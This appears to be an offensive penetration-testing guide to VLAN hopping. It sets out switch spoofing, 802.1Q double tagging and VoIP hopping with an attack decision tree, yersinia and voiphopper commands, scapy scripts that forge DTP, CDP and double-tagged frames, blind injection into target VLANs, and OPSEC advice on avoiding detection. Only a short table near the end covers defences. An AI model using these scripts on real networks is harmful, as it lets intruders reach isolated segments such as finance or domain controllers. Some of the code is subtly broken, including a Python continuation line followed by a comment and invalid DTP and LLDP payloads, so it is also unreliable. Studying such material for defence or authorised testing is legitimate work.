VLAN Hopping
#Overview
VLAN hopping exploits weaknesses in VLAN trunking protocols and frame tagging to access network segments that should be isolated. In enterprise networks, VLANs segment traffic between departments, servers, guests, and management planes. A successful VLAN hop can give an attacker access to sensitive segments (HR, finance, domain controllers) from a low-privileged VLAN (guest, IoT).
This guide covers three primary VLAN hopping techniques: switch spoofing (DTP exploitation), double tagging (802.1Q injection), and VoIP hopping (CDP/LLDP abuse).
#Attack Decision Tree
On a VLAN-segmented Network?
|
v
What type of switch port am I connected to?
|
|-- Access port (single VLAN)
| |-- DTP enabled? --> Switch Spoofing (Method 1)
| |-- Double tagging possible? --> 802.1Q Double Tag (Method 2)
| |-- VoIP phone present? --> VoIP Hopping (Method 3)
|
|-- Trunk port (multiple VLANs)
|-- Already have access to all VLANs --> Enumerate and move laterally
|-- 802.1Q tags visible? --> Access any VLAN in the trunk
#Method 1: Switch Spoofing (DTP Exploitation)
Dynamic Trunking Protocol (DTP) allows switches to automatically negotiate trunk links. If a switch port is in "dynamic" or "auto" DTP mode, an attacker can send DTP frames to negotiate a trunk, gaining access to all VLANs on the switch.
#Detecting DTP
# Check for DTP frames on the network
tcpdump -i eth0 -nn -e ether proto 0x2004
# DTP frame analysis
tshark -r capture.pcap -Y "dtp" -T fields \
-e dtp.type -e dtp.neighbor -e dtp.status
# Common DTP modes:
# trunk - Port is a trunk (no negotiation needed)
# dynamic desirable - Actively tries to become a trunk
# dynamic auto - Becomes a trunk if the other end initiates
# access - Port is an access port (no trunking)
#DTP Spoofing Attack
# Using yersinia (automated DTP spoofing)
sudo yersinia dtp -attack 1 # DTP spoofing attack
# Or manually craft DTP frames with scapy
python3 << 'EOF'
from scapy.all import *
# Create DTP frame
dtp_frame = Ether()/Dot3()/LLC()/SNAP()/Raw(load=b'\x01\x00\x00\x00\x00\x00\x00\x00')
# Set source MAC to attacker's MAC
# Set destination MAC to 01:00:0c:cc:cc:cc (Cisco DTP multicast)
dtp_frame[Ether].src = "00:11:22:33:44:55"
dtp_frame[Ether].dst = "01:00:0c:cc:cc:cc"
# Send DTP desirable frame
sendp(dtp_frame, iface="eth0", count=5)
EOF
# After successful DTP spoofing, the port becomes a trunk
# Add VLAN interfaces to access each VLAN
sudo vconfig add eth0 1
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo ifconfig eth0.1 192.168.1.100/24 up
sudo ifconfig eth0.10 192.168.10.100/24 up
sudo ifconfig eth0.20 192.168.20.100/24 up
#Using VLAN interfaces
# Create VLAN interface
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip addr add 192.168.10.100/24 dev eth0.10
sudo ip link set dev eth0.10 up
# Verify VLAN access
ping -c 3 192.168.10.1
nmap -sn 192.168.10.0/24
# Clean up
sudo ip link del eth0.10
#Method 2: 802.1Q Double Tagging
Double tagging exploits a flaw in how some switches handle nested 802.1Q tags. The outer tag matches the native VLAN of the trunk port and is stripped by the first switch. The inner tag specifies the target VLAN and reaches the destination.
Prerequisite: The attacker must know or guess the native VLAN of the trunk port between the switches.
#Double Tagging Attack
# Using scapy to craft double-tagged frames
python3 << 'EOF'
from scapy.all import *
# Double-tagged frame
# Outer tag: native VLAN (e.g., VLAN 1)
# Inner tag: target VLAN (e.g., VLAN 100)
# Payload: ICMP echo request
frame = Ether(dst="00:11:22:33:44:55") / \
Dot1Q(vlan=1) / \ # Outer tag (native VLAN)
Dot1Q(vlan=100) / \ # Inner tag (target VLAN)
IP(dst="192.168.100.1") / \
ICMP()
sendp(frame, iface="eth0")
EOF
# If the switch is vulnerable, the ICMP request reaches VLAN 100
# The response will come back on VLAN 100 but will be dropped by the first switch
# (because the return path adds only one tag)
# Therefore, double tagging is typically a ONE-WAY attack
#Double Tagging Limitations
| Aspect | Detail |
|---|---|
| Direction | One-way only (attacker → target VLAN) |
| Response | Target's response is dropped by the first switch |
| Prerequisite | Must know the native VLAN |
| Switch behavior | Only works on switches that strip only the outer tag |
| Use case | TCP injection (blind), UDP flooding, VLAN enumeration |
#Practical Double Tagging
Since responses don't return, use one-way attacks:
# Blind TCP injection
python3 << 'EOF'
from scapy.all import *
# Craft double-tagged TCP SYN to target VLAN
frame = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/ \
IP(dst="192.168.100.10")/TCP(dport=22, flags="S")
sendp(frame, iface="eth0")
EOF
# Blind UDP injection (e.g., SNMP, syslog)
python3 << 'EOF'
from scapy.all import *
frame = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/ \
IP(dst="192.168.100.10")/UDP(dport=161)/ \
Raw(load=b'\x30\x26\x02\x01\x01\x04\x06public\xa0\x19\x02\x04\x00\x00\x00\x01\x02\x01\x00\x02\x01\x000\x0b0\x09\x06\x05\x01\x03\x00\x00\x00\x05\x00')
sendp(frame, iface="eth0")
EOF
#Method 3: VoIP Hopping
Many networks place VoIP phones on a separate VLAN (the "voice VLAN") and allow the PC connected through the phone to be on the data VLAN. VoIP hopping exploits CDP (Cisco Discovery Protocol) or LLDP (Link Layer Discovery Protocol) to negotiate access to the voice VLAN.
#Detecting VoIP VLANs
# Listen for CDP packets
tcpdump -i eth0 -nn -e ether proto 0x2000
# Listen for LLDP packets
tcpdump -i eth0 -nn -e ether proto 0x88cc
# CDP information includes:
# - Device ID (switch hostname)
# - Voice VLAN ID
# - Native VLAN ID
# - Port ID
# - Software version
#VoIP Hopping via CDP
# Using VoIP hopper (automated)
sudo voiphopper -i eth0 -c # CDP mode
sudo voiphopper -i eth0 -E # Extended CDP mode
# Manual CDP spoofing with scapy
python3 << 'EOF'
from scapy.all import *
# Craft CDP packet claiming to be a Cisco phone
cdp_packet = Ether(dst="01:00:0c:cc:cc:cc") / \
LLC(dsap=0xaa, ssap=0xaa) / \
SNAP(OUI=0x000c, code=0x2000) / \
Raw(load=b'\x01\x00\x00\x00' + # Version + TTL
# Device ID TLV
b'\x00\x01\x00\x0cSEP001122334455' +
# Port ID TLV
b'\x00\x03\x00\x07Port 1' +
# Voice VLAN TLV (type 0x0E, VLAN 100)
b'\x00\x0e\x00\x06\x00\x01\x00\x64')
sendp(cdp_packet, iface="eth0")
EOF
# After CDP spoofing, the switch assigns the port to the voice VLAN
# Create a VLAN interface for the voice VLAN
sudo ip link add link eth0 name eth0.100 type vlan id 100
sudo ip addr add 10.100.0.100/24 dev eth0.100
sudo ip link set dev eth0.100 up
# Verify access to voice VLAN
ping -c 3 10.100.0.1
#VoIP Hopping via LLDP
# Using lldpcli (LLDP spoofing)
sudo lldpcli configure ports eth0 vlans voice pvid 100
# Or using scapy for LLDP
python3 << 'EOF'
from scapy.all import *
lldp_frame = Ether(dst="01:80:c2:00:0e:00") / \
LLC(dsap=0xaa, ssap=0xaa) / \
SNAP(OUI=0x0080c2, code=0x000e) / \
Raw(load=b'\x00\x00\xfe\x05\x01\x01\x00\x00')
sendp(lldp_frame, iface="eth0")
EOF
#VLAN Discovery Methodology
Before attempting VLAN hopping, discover the VLAN topology.
# 1. Check for 802.1Q tags on the wire
tcpdump -i eth0 -nn -e vlan
# 2. DHCP discovery on VLANs
for vlan in 1 10 20 30 40 50 100 200; do
sudo vconfig add eth0 $vlan
sudo dhclient -1 -v eth0.$vlan 2>&1 | grep -E "(offer|ack|nak)"
sudo vconfig rem eth0.$vlan
done
# 3. ARP scanning VLAN subnets
for vlan in 1 10 20 30 100; do
sudo vconfig add eth0 $vlan
sudo ip addr add 192.168.$vlan.100/24 dev eth0.$vlan 2>/dev/null
sudo ip link set dev eth0.$vlan up
arp-scan --interface=eth0.$vlan 192.168.$vlan.0/24
sudo ip link del eth0.$vlan
done
# 4. CDP/LLDP enumeration
tcpdump -i eth0 -nn -e ether proto 0x2000 -c 10 # CDP
tcpdump -i eth0 -nn -e ether proto 0x88cc -c 10 # LLDP
#Defensive Countermeasures
| Countermeasure | Effectiveness |
|---|---|
| Disable DTP on all access ports | Prevents switch spoofing |
Set all ports to switchport mode access | Prevents DTP negotiation |
| Change native VLAN to an unused VLAN | Mitigates double tagging |
| Tag the native VLAN on trunks | Prevents double tagging |
| Enable BPDU guard on access ports | Prevents STP manipulation |
| Use separate physical ports for voice and data | Prevents VoIP hopping |
| Enable port security | Limits MAC addresses per port |
| 802.1X on all ports | Requires authentication before access |
#Common Pitfalls
- DTP disabled: Most enterprise switches have DTP disabled on access ports. Switch spoofing won't work.
- Double tagging only works one way: You can inject into the target VLAN but can't receive responses. Use blind TCP/UDP injection.
- Native VLAN mismatch: Double tagging requires knowing the native VLAN. Default is usually VLAN 1, but may be different.
- VoIP hopping requires CDP/LLDP: If the switch doesn't use CDP or LLDP for voice VLAN assignment, VoIP hopping won't work.
- VLAN interfaces need IP configuration: After hopping, you need to know the VLAN's subnet. Use DHCP discovery or common subnets.
#OPSEC Considerations
- DTP frames are visible to switches and may trigger port security alerts
- Double-tagged frames have an unusual structure that NIDS can detect
- CDP/LLDP spoofing creates a device entry in the switch's neighbor table
- VLAN hopping creates traffic on the target VLAN, which may be monitored by IDS/IPS
- VLAN interface creation is logged by some switch operating systems
#Cross-References
- MAC Filtering Bypass — Often used alongside VLAN hopping
- NAC Bypass — Bypassing NAC before VLAN hopping
- 09 - Lateral Movement — Pivoting after gaining VLAN access
- 07 - Post-Exploitation — Situational awareness after VLAN hop
#Tool References
| Tool | Purpose | Link |
|---|---|---|
| yersinia | DTP/CDP/STP spoofing | https://github.com/tomcarlos/yersinia |
| VoIP Hopper | VoIP VLAN hopping | https://voiphopper.sourceforge.net/ |
| scapy | Packet crafting | https://scapy.net/ |
| vconfig | VLAN interface management | Linux iproute2 |
| tcpdump | Packet capture | https://www.tcpdump.org/ |
| tshark | Packet analysis | https://www.wireshark.org/ |